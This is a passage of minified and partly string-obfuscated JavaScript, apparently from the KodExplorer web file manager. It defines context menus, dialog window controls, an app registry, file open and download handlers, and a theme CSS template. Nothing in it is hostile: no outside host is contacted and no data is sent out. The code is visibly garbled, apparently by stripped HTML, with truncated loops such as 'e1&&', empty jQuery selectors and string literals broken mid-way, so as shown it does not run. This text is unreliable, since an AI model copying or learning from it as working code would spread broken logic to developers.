0x46d5('0xab','Yv8t')][_kod_0x46d5('0xac','ZBag')](_0x4f4d3b,_0x34c69d,_kod_0x46d5('0xad','#I7Z'),!0x1);},$[_kod_0x46d5('0xae','L)pg')][_kod_0x46d5('0xaf','8JG7')]=function(_0x37f252,_0x3cf34c){$[_kod_0x46d5('0x34',')Cl!')]['menuItemClass'](_0x37f252,_0x3cf34c,_0x326a5b[_kod_0x46d5('0xb0','Ghlq')],!0x0);},$[_kod_0x46d5('0xb1','@*22')][_kod_0x46d5('0xb2','5$Bm')]=function(_0x5e37e5,_0x6637a8){if('wUupW'!==_0x326a5b[_kod_0x46d5('0xb3',')T(f')]){var _0x142712=_0x6637a8[_kod_0x46d5('0xb4','tepW')],_0x3b925e=_kod_0x46d5('0xb5',']y0&');_0x142712[_kod_0x46d5('0xb6','!BFl')](_kod_0x46d5('0xb7','W[*g'))[_kod_0x46d5('0xb8','tepW')](_0x3b925e),Hook[_kod_0x46d5('0xb9','tepW')](_0x326a5b[_kod_0x46d5('0xba','#bfE')],_0x6637a8[_kod_0x46d5('0xbb','@*22')],_0x5e37e5,_0x142712),Hook[_kod_0x46d5('0xbc','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xbd','FeGc')],_0x6637a8[_kod_0x46d5('0x4f','CpJI')]),_0x5e37e5,_0x142712);}else{$[_kod_0x46d5('0x34',')Cl!')][_kod_0x46d5('0xbe','OfMJ')](_0x5e37e5,_0x6637a8,_kod_0x46d5('0xbf','&Tiv'),!0x1);}},$['contextMenu']['menuItemRemove']=function(_0x4050d6,_0x4769bc){var _0x49c3dd=$[_kod_0x46d5('0xc0','o$)d')]['menuItem'](_0x4050d6,_0x4769bc);_0x49c3dd&&_0x49c3dd[_kod_0x46d5('0xc1','(i@T')]();},$[_kod_0x46d5('0xc2','(i@T')][_kod_0x46d5('0xc3','jcUX')]=function(_0x30fcdf,_0x4ec4c4,_0x2a10cb,_0x44a4a6){var _0xece64d=!0x1,_0x362bce=$['contextMenu'][_kod_0x46d5('0xc4','&q8#')];for(var _0x2b0111 in _0x362bce)if(_0x362bce[_0x2b0111][_kod_0x46d5('0xc5','#bfE')]==_0x4ec4c4){_0xece64d=_0x362bce[_0x2b0111];break;}if(_0xece64d&&_0x30fcdf){var _0x439d97=function(_0x3bff80){return _0x3bff80?-0x1!==_0x3bff80[_kod_0x46d5('0xc6','(i@T')]('/')?_kod_0x46d5('0xc7','J]Hl')+_0x3bff80+_kod_0x46d5('0xc8','tepW'):_0x326a5b[_kod_0x46d5('0xc9','!BFl')](_kod_0x46d5('0xca','Tg#C')+_0x3bff80,_0x326a5b[_kod_0x46d5('0xcb','L)pg')]):'';},_0x1ea789=function(_0x592497,_0x241dd9,_0x4792f6,_0x5ade5d){var _0x48d85e={};_0x48d85e[_kod_0x46d5('0xcc','FeGc')]=function(_0x25c209,_0x74859d){return _0x25c209+_0x74859d;};_0x48d85e[_kod_0x46d5('0xcd','@*22')]=function(_0x5afc13,_0x29a1aa){return _0x326a5b.vHrHH(_0x5afc13,_0x29a1aa);};_0x48d85e[_kod_0x46d5('0xce',')Zq2')]='\x20context-menu-separator\x20not-selectable\x22>';_0x48d85e['gbnoM']=_kod_0x46d5('0xcf','@*22');_0x48d85e[_kod_0x46d5('0xd0','CpJI')]=function(_0x4a0c53,_0x3fb2b0){return _0x4a0c53+_0x3fb2b0;};_0x48d85e[_kod_0x46d5('0xd1','8JG7')]=_0x326a5b.Cngaj;_0x48d85e[_kod_0x46d5('0xd2','tepW')]='\x22>\x09\x09\x09\x09\x09\x09=0x0;_0x1a2790--)_0x2b0111[_0x362bce[_0x1a2790][_kod_0x46d5('0xd7','J]Hl')]]=_0x362bce[_0x1a2790][_kod_0x46d5('0xd8','coI9')];}else _0x2b0111=_0x241dd9;$[_kod_0x46d5('0xd9','(i@T')](_0x2b0111,function(_0x464188,_0x539b1c){_0x539b1c[_kod_0x46d5('0xda',']y0&')]=_0x539b1c[_kod_0x46d5('0xdb','&Tiv')]||'';var _0x2b0111=_0x48d85e['aSDHh'](_0x48d85e[_kod_0x46d5('0xdc','(i@T')](_0x464188,'\x20'),_0x539b1c[_kod_0x46d5('0xdd','Tg#C')]);if(_0x48d85e[_kod_0x46d5('0xde','(i@T')]('string',typeof _0x539b1c))var _0x336e55=_kod_0x46d5('0xdf','Svi#')+_0x2b0111+_0x48d85e[_kod_0x46d5('0xe0','(26G')];else{var _0x1a2790=_0x539b1c[_kod_0x46d5('0xe1','8JG7')];_0x539b1c['accesskey']&&(_0x1a2790+=_kod_0x46d5('0xe2','E[tg')+_0x539b1c[_kod_0x46d5('0xe3','6D#W')]+')');var _0x336e55=_kod_0x46d5('0xe4','a0nd')+_0x2b0111+'\x22>'+_0x439d97(_0x539b1c[_kod_0x46d5('0x7b','a0nd')])+_kod_0x46d5('0xe5',')Cl!')+_0x1a2790+_kod_0x46d5('0xe6','srTF');}var _0x222928=$(_0x336e55)['clone'](),_0x1b2400=_0x4792f6||_0x5ade5d,_0x1bc473=_0x592497['$menu']['find'](_0x1b2400)['first']();_0x48d85e[_kod_0x46d5('0xe7','KaAL')](0x0,_0x1bc473[_kod_0x46d5('0x5b','$zeB')])&&_0x592497['commands'][_0x1b2400]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xe8','Tg#C')][_0x1b2400]['$node']),0x0==_0x1bc473[_kod_0x46d5('0xe9','TbL]')]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xea','Ghlq')][_kod_0x46d5('0xeb','ZNFv')]()[_kod_0x46d5('0xec','a0nd')]()),_0x4792f6?_0x1bc473[_kod_0x46d5('0xed','ZBag')](_0x222928):_0x5ade5d&&_0x1bc473['before'](_0x222928);var _0x399c49=_0x222928[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))['data'](_kod_0x46d5('0x5d','ZNFv'));_0x222928[_kod_0x46d5('0xee','TbL]')]({'contextMenu':_0x399c49,'contextMenuKey':_0x464188,'contextMenuRoot':_0xece64d});var _0x41d3fd={};_0x41d3fd[_kod_0x46d5('0xef','&Tiv')]=null;_0x41d3fd[_kod_0x46d5('0xf0','A[bK')]=null;_0x41d3fd[_kod_0x46d5('0xf1','#bfE')]=_0x539b1c.accesskey;_0x41d3fd['className']=_0x539b1c.className;_0x41d3fd[_kod_0x46d5('0xf2','tepW')]=_0x539b1c.icon;_0x41d3fd['name']=_0x539b1c.name;_0x41d3fd['_name']=_0x1a2790;_0x41d3fd[_kod_0x46d5('0xf3','6D#W')]=_0x222928;if(_0x399c49&&(_0x399c49[_kod_0x46d5('0xf4','ZBag')]||(_0x399c49['items']={}),_0x399c49[_kod_0x46d5('0xa9','gz7W')][_0x464188]=_0x41d3fd),_0x48d85e[_kod_0x46d5('0xf5','a0nd')]!=typeof _0x539b1c&&(_0x592497['commands']||(_0x592497['commands']={}),_0x592497[_kod_0x46d5('0x82',')T(f')][_0x464188]=_0x41d3fd,_0xece64d['commands'][_0x464188]=_0x41d3fd,_0xece64d[_kod_0x46d5('0xf6','&Tiv')][_0x464188]=function(_0x25c351,_0x18cd3a){_0x539b1c[_kod_0x46d5('0xf7','$zeB')](_0x25c351,_0x18cd3a);},_0x539b1c['accesskey']&&(_0xece64d['accesskeys'][_0x539b1c[_kod_0x46d5('0xf8','Tg#C')]]=_0x41d3fd),_0x539b1c['items'])){var _0x25eddc=_0x48d85e[_kod_0x46d5('0xf9','6D#W')](_0x464188,'-first-item'),_0x336e55=_0x48d85e[_kod_0x46d5('0xfa','Yv8t')](_0x48d85e[_kod_0x46d5('0xfb','ZNFv')],_0x464188)+_0x48d85e[_kod_0x46d5('0xfc','a0nd')]+_0x25eddc+'\x22>\x09\x09\x09\x09\x09';$(_0x336e55)[_kod_0x46d5('0xfd','@*22')](_0x222928),_0x41d3fd[_kod_0x46d5('0xfe','h*gi')]=_0x222928['find'](_0x48d85e[_kod_0x46d5('0xff','@*22')](_kod_0x46d5('0x100','KCJX'),_0x464188)),_0x41d3fd['callback']=null,_0x41d3fd[_kod_0x46d5('0x101',')Zq2')]=_0x41d3fd['$node'],_0x41d3fd[_kod_0x46d5('0x102','FeGc')]='sub',_0x222928[_kod_0x46d5('0x103',']y0&')](_kod_0x46d5('0x104','W[*g'),_0x41d3fd)[_kod_0x46d5('0x105','@*22')]('context-menu-submenu'),_0x222928[_kod_0x46d5('0x106','L)pg')](_kod_0x46d5('0x107','amMN')+_0x464188)[_kod_0x46d5('0x108','&Tiv')]({'contextMenuRoot':_0xece64d,'contextMenu':_0x41d3fd}),_0x222928[_kod_0x46d5('0x109','ZNFv')](_0x48d85e[_kod_0x46d5('0x10a','FeGc')]+_0x25eddc)['data']({'contextMenuRoot':_0xece64d,'contextMenuKey':_0x25eddc,'contextMenu':_0x41d3fd}),_0x41d3fd[_kod_0x46d5('0x59','CpJI')]||(_0x41d3fd['items']={}),_0x41d3fd[_kod_0x46d5('0x10b',')b(p')][_0x25eddc]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x222928[_kod_0x46d5('0x10c',')b(p')](_0x48d85e[_kod_0x46d5('0x10d','#I7Z')](_kod_0x46d5('0x10e','TbL]'),_0x25eddc))},_0x1ea789(_0x41d3fd,_0x539b1c[_kod_0x46d5('0x10f',')Cl!')],_0x48d85e[_kod_0x46d5('0x110','6D#W')]('.',_0x25eddc));}});};_0x326a5b[_kod_0x46d5('0x111','@*22')](_0x1ea789,_0xece64d,_0x30fcdf,_0x2a10cb,_0x44a4a6);}};var _0x31f62f=function(){var _0x4feb74={};_0x4feb74[_kod_0x46d5('0x112','Ghlq')]=_0x326a5b.kOkyr;_0x4feb74['KeOgZ']=_kod_0x46d5('0x113','&q8#');_0x4feb74[_kod_0x46d5('0x114','(26G')]=_0x326a5b.CavDC;_0x4feb74[_kod_0x46d5('0x115','&Tiv')]=function(_0x167fc8,_0x4fc08f){return _0x167fc8+_0x4fc08f;};_0x4feb74['UKIdZ']=_kod_0x46d5('0x116','(i@T');_0x4feb74['kiRXb']=_0x326a5b.IXDxR;_0x4feb74['DSREq']=_0x326a5b.mIDCD;return $(_kod_0x46d5('0x117','o$)d'))['appendTo'](_kod_0x46d5('0x118','W[*g')),_kod_0x46d5('0x119','A[bK')!=typeof $[_kod_0x46d5('0x104','W[*g')]?console[_kod_0x46d5('0x11a','TbL]')](_kod_0x46d5('0x11b',')b(p')):($['contextMenu']({'zIndex':0x270f,'selector':_0x326a5b[_kod_0x46d5('0x11c','(26G')],'items':{'dialog-quit':{'name':LNG[_kod_0x46d5('0x11d',')T(f')],'className':_kod_0x46d5('0x11e','TbL]'),'icon':_0x326a5b['CDuvI'],'accesskey':'q'},'dialog-max':{'name':LNG['dialog_max'],'className':_kod_0x46d5('0x11f','srTF'),'icon':'resize-full','accesskey':'a'},'dialog-min':{'name':LNG[_kod_0x46d5('0x120','$zeB')],'className':_kod_0x46d5('0x121','ZBag'),'icon':_kod_0x46d5('0x122','tepW'),'accesskey':'i'},'sep1':_0x326a5b[_kod_0x46d5('0x123','gz7W')],'refresh':{'name':LNG['refresh'],'className':_0x326a5b[_kod_0x46d5('0x124','Svi#')],'icon':_kod_0x46d5('0x125','KCJX'),'accesskey':'r'},'open-window':{'name':LNG['open_ie'],'className':'open-window','icon':_kod_0x46d5('0x126','E9Jc'),'accesskey':'b'},'qrcode':{'name':LNG['qrcode'],'className':_0x326a5b[_kod_0x46d5('0x127','5$Bm')],'icon':_kod_0x46d5('0x128','A[bK'),'accesskey':'c'}},'callback':function(_0x2f5e05,_0xfc62a6){if(_kod_0x46d5('0x129','Ghlq')==='LTSHb'){var _0x31f62f=_0xfc62a6[_kod_0x46d5('0x12a',']y0&')]['attr']('id'),_0x2476f3=$[_kod_0x46d5('0x12b','h*gi')][_kod_0x46d5('0x12c',')Zq2')][_0x31f62f];switch(_0x2f5e05){case _0x4feb74[_kod_0x46d5('0x12d','&Tiv')]:_0x2476f3['close']();break;case _0x4feb74['DSREq']:_0x2476f3['_clickMin'](!0x1);break;case _kod_0x46d5('0x12e','Ghlq'):_0x2476f3[_kod_0x46d5('0x12f','tepW')]();break;case _kod_0x46d5('0x130','Svi#'):_0x2476f3[_kod_0x46d5('0x131','J]Hl')]();break;case _kod_0x46d5('0x132','gz7W'):_0x2476f3[_kod_0x46d5('0x133','srTF')]();break;case'qrcode':core['qrcode'](_0x2476f3['DOM'][_kod_0x46d5('0x134','ZNFv')]['find']('iframe')['attr'](_kod_0x46d5('0x135','gz7W')));}}else{var _0x56b869=_0x2f5e05[_kod_0x46d5('0x136','W[*g')]('id'),_0x5b4c4c=$[_kod_0x46d5('0x137','$zeB')][_kod_0x46d5('0x138','TbL]')][_0x56b869],_0x38f4e8=_0x4feb74['FMghZ'],_0x39a019=_0x4feb74[_kod_0x46d5('0x139','o$)d')];_0x5b4c4c['hasFrame']()?_0xfc62a6[_kod_0x46d5('0x13a',')Zq2')](_0x39a019)[_kod_0x46d5('0x13b',')b(p')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x13c','@*22')](_0x39a019)[_kod_0x46d5('0x13d',')b(p')](_0x38f4e8);var _0x3bf925=_0x4feb74[_kod_0x46d5('0x13e','W[*g')];$(_0x4feb74[_kod_0x46d5('0x13f','Tg#C')]('.',_0x56b869))[_kod_0x46d5('0x140','jcUX')](_0x4feb74[_kod_0x46d5('0x141','Svi#')])?_0xfc62a6['find'](_0x3bf925)[_kod_0x46d5('0x142',']y0&')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x143','TbL]')](_0x3bf925)['addClass'](_0x38f4e8);}}}),void $(_0x326a5b['TMUVT'])['die'](_kod_0x46d5('0x144','Ghlq'))[_kod_0x46d5('0x145','x*z*')](_0x326a5b[_kod_0x46d5('0x146','L)pg')],function(_0x1cd133){var _0xc14c8e=$(this)[_kod_0x46d5('0x147',')Zq2')]();_0xc14c8e[_kod_0x46d5('0x148','(26G')]+=_0x326a5b[_kod_0x46d5('0x149','&q8#')]($,this)[_kod_0x46d5('0x14a','h*gi')](),_0x326a5b[_kod_0x46d5('0x14b','E9Jc')]($,this)[_kod_0x46d5('0x14c','tepW')]()[_kod_0x46d5('0x14d','!BFl')]()[_kod_0x46d5('0x14e','FeGc')]({'x':_0x1cd133['pageX'],'y':_0xc14c8e[_kod_0x46d5('0x14f','Yv8t')]});})[_kod_0x46d5('0x150','jcUX')]('dblclick')['live']('dblclick',function(_0x10b44d){var _0xc14c8e=_0x326a5b['hHlrD']($,this)[_kod_0x46d5('0x151','ZNFv')]()[_kod_0x46d5('0x152','x*z*')]()[_kod_0x46d5('0x153','CpJI')]('id'),_0x31f62f=$[_kod_0x46d5('0x154','Yv8t')][_kod_0x46d5('0x138','TbL]')][_0xc14c8e];_0x31f62f[_kod_0x46d5('0x155','tepW')](),$[_kod_0x46d5('0x156','5$Bm')]['hidden']();}));};Hook['bind'](_kod_0x46d5('0x157','@*22'),function(_0x3dd82b,_0x19fcec){var _0x31f62f=_0x3dd82b[_kod_0x46d5('0x158','ZNFv')]('id'),_0x256330=$[_kod_0x46d5('0x159',')T(f')]['list'][_0x31f62f],_0x4e167c=_kod_0x46d5('0x15a','KaAL'),_0x344f7c=_kod_0x46d5('0x15b',']y0&');_0x256330[_kod_0x46d5('0x15c','!BFl')]()?_0x19fcec[_kod_0x46d5('0x15d','5$Bm')](_0x344f7c)['removeClass'](_0x4e167c):_0x19fcec['find'](_0x344f7c)[_kod_0x46d5('0x15e',')Zq2')](_0x4e167c);var _0x41030f='.dialog-min,.dialog-max';$('.'+_0x31f62f)[_kod_0x46d5('0x15f','!BFl')](_0x326a5b[_kod_0x46d5('0x160',')T(f')])?_0x19fcec[_kod_0x46d5('0x161','coI9')](_0x41030f)[_kod_0x46d5('0x162','oApp')](_0x4e167c):_0x19fcec['find'](_0x41030f)['addClass'](_0x4e167c);}),_0x31f62f();});;define("app/app/appBase",[],function(a,b){var c={},d={},e={},f=!1,g=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),c[a.name]=a,a.ext||(a.ext="");var b=a.ext.split(",");c[a.name].extArr=b,"undefined"!=typeof a.sort?a.sort=parseInt(a.sort):a.sort=0;for(var e=0;e1&&d[f].sort(function(a,b){return a.sort
          '+LNG.unknow_file_tips+"
          "+b+'
          1.'+h+d+'">'+LNG["Explorer.UI.openWith"]+'
          2.'+h+e+'">'+LNG["Explorer.UI.openWithText"]+'
          3.'+h+f+'">'+LNG.unknow_file_download+'
          '+h+g+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
          ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:i,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=a;"http"!=a.substr(0,4)&&(d=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(a),"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(d):$('').appendTo("body")}}}),kodApp.download=function(a){kodApp.open(a,"","download")},kodApp.openWindow=function(a){kodApp.open(a,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=core.path2url(a);isWap()?window.location.href=d:window.open(d)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(a,b){$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(a))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(a,b){core.fileGet(a,function(c){if("url"==b){var d=c.match(/URL=(.*)/);if(d.length>=2)return window.open(d[1])}else if("webloc"==b)try{var e=$($.parseXML(c)),f=e.find("string").text();return void window.open(f)}catch(g){}kodApp.open(a,b,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(a,b){var c=core.path2url(a);core.openDialog(c,core.icon("html"),core.pathThis(a))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(a,b){var c=core.path2url(a),d="pdf"+UUID(),e='";$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"80%",height:"75%",padding:0,content:e}),PDFObject.embed(c,"#"+d)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),core.openApp(c)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),c.path=a,ui.path.pathOperate.appEdit(c)})}});var d={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(a,b){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(d,".menu-body-main",".app-install"),$.contextMenu.menuAdd(d,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(d,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(a,b,c){var d=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(c.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),c.removeClass("menu-auto-fit"),h(b),c.inScreen()||c.addClass("menu-auto-fit"),".menu-body-main"==a){var e=c.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?e.removeClass("hidden"):e.addClass("hidden")}if(_.include(d,a)){var f="disabled",g=".cute,.rname,.remove",i=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";b.hasClass("file-not-readable")?c.find(i).addClass(f):c.find(i).removeClass(f),b.hasClass("file-not-writeable")?c.find(g).addClass(f):c.find(g).removeClass(f)}}),Hook.bind("rightMenu.show.menu-body-main",function(a,b){var c=".upload,.past,.newfolder,.newfile",d="disabled";_.get(G,"jsonData.info.canUpload")?b.find(c).removeClass(d):b.find(c).addClass(d)}),Hook.bind("rightMenu.show.menu-file",function(a,b){if($(".context-menu-active").hasClass("menu-tree-file"))var c=ui.tree.makeParam();else var c=ui.path.makeParam();var d=core.pathExt(c.path),e="hidden";inArray(["jpg","jpeg","png"],d)?b.find(".set-background").removeClass(e):b.find(".set-background").addClass(e)});var e=function(){var a=".close-item,.refresh,.newfile,.past,.info",b=".open-browser",c=".explorer,.create-project,.open-project",d=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",e=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",f=$(".menu-tool-path"),g="hidden",h=ui.fileLight.fileListSelect();f.find(".context-menu-item").addClass(g),0==h.length?f.find(a).removeClass(g):1==h.length?(f.find(".context-menu-item").removeClass(g),"folder"==ui.fileLight.type(h)?f.find(b).addClass(g):f.find(c).addClass(g)):h.length>1&&f.find(d).removeClass(g),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&f.find(e).filter(":not(."+g+")").addClass(g)},f=function(){var a=ui.fileLight.fileListSelect(),b=$(".kod-toolbar-path .select-button-show"),c="hidden";G.jsonData&&G.jsonData.info&&(0==a.length||G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id!=G.userID?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=share]").removeClass(c),b.find("[data-action=rname]").removeClass(c),a.length>1&&(b.find("[data-action=share]").addClass(c),b.find("[data-action=rname]").addClass(c))))},g=function(){var a=_.get(G,"jsonData.info.pathType"),b=$(".kod-toolbar-share .select-button-show-share"),c=ui.fileLight.fileListSelect(),d="hidden";a!=G.KOD_USER_SHARE||0==c.length?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=shareEdit]").removeClass(d),b.find("[data-action=shareOpenWindow]").removeClass(d),c.length>1&&(b.find("[data-action=shareEdit]").addClass(d),b.find("[data-action=shareOpenWindow]").addClass(d)))};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){e(),f(),g(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){e()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var a="hidden",b={"explorer.fileDownload":"@.down,@.download,@.share,@.open-text,[data-action=download]","explorer.search":"@.search","explorer.mkfile":"@.newfile,[data-action=newfile],@.past,@.clone","explorer.mkdir":"@.newfolder,[data-action=newfolder]","explorer.pathRname":"@.rname,[data-action=rname]","explorer.pathDelete":"@.remove,@.remove + .context-menu-separator,[data-action=remove]","explorer.pathCopy":"@.cute,@.copy,[data-action=cute],[data-action=copy]","explorer.fileUpload":"@.upload,@.upload-more,[data-action=upload],[data-action=upload-more]","explorer.unzip":"@.unzip","explorer.zip":"@.zip","userShare.set":"@.share,[data-action=share]"};setTimeout(function(){for(var c in b){var d=replaceAll(b[c],"@",".context-menu-list ");core.authCheck(c)||$(d).addClass(a)}},100),core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),kodApp.remove("htmlView"))}}),Hook.bind("kodApp.callback.before",function(a,b,c){return-1==$.inArray(a.name,["browserOpen","htmlView","zipView"])||core.authCheckGroup("explorer.fileDownload",b)?void 0:(Tips.tips(LNG.no_permission_action,"error"),!0)});var h=function(a){return},i=function(){if(G.authGroupRole||(G.authGroupRole={}),_.get(G,"jsonData.info.pathType")==G.KOD_GROUP_PATH){var a=_.get(G,"jsonData.info.id");G.authGroupRole[a]=_.get(G,"jsonData.info.groupRole.authArr")}h()};Hook.bind("explorer.path.ajaxLive",i)});;define("app/common/tpl/copyright.html",[],'\n');;define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n");;define("app/shareCommon/rightMenu",[],function(a,b){var c=".menu-file",d=".menu-folder",e=".menu-more",f=".menu-tree-root",g=".menu-tree-folder",h=".menu-tree-file",i={"list-icon":{name:LNG.list_type,icon:"eye-open",items:{"set-icon":{name:LNG.list_icon,className:"menu-set-icon set-icon"},"set-list":{name:LNG.list_list,className:"menu-set-icon set-list"}}},"sort-by":{name:LNG.order_type,accesskey:"y",icon:"sort",items:{"set-sort-name":{name:LNG.name,className:"menu-set-sort set-sort-name"},"set-sort-ext":{name:LNG.type,className:"menu-set-sort set-sort-ext"},"set-sort-size":{name:LNG.size,className:"menu-set-sort set-sort-size"},"set-sort-mtime":{name:LNG.modify_time,className:"menu-set-sort set-sort-mtime"},sep105:"--------","set-sort-up":{name:LNG.sort_up,className:"menu-set-desc set-sort-up"},"set-sort-down":{name:LNG.sort_down,className:"menu-set-desc set-sort-down"}}},"set-file-icon-size":{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},j=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(a){return stopPP(a),!1}),l(),m(),n(),o(),r(),s(),w(),v(),$(".set-set-"+G.userConfig.listType).addClass("selected"),$(".set-sort-"+G.userConfig.listSortField).addClass("selected"),$(".set-sort-"+G.userConfig.listSortOrder).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},k=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(a){return stopPP(a),!1}),r(),w(),t(),u(),v(),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$.contextMenu({selector:".menu-body-main",className:"file-continer-menu",zIndex:9999,callback:function(a,b){p(a,b)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------","list-icon":i["list-icon"],"sort-by":i["sort-by"],"set-file-icon-size":i["set-file-icon-size"],sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:d,className:d.substr(1),callback:function(a,b){q(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},n=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,className:c.substr(1),callback:function(a,b){q(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden 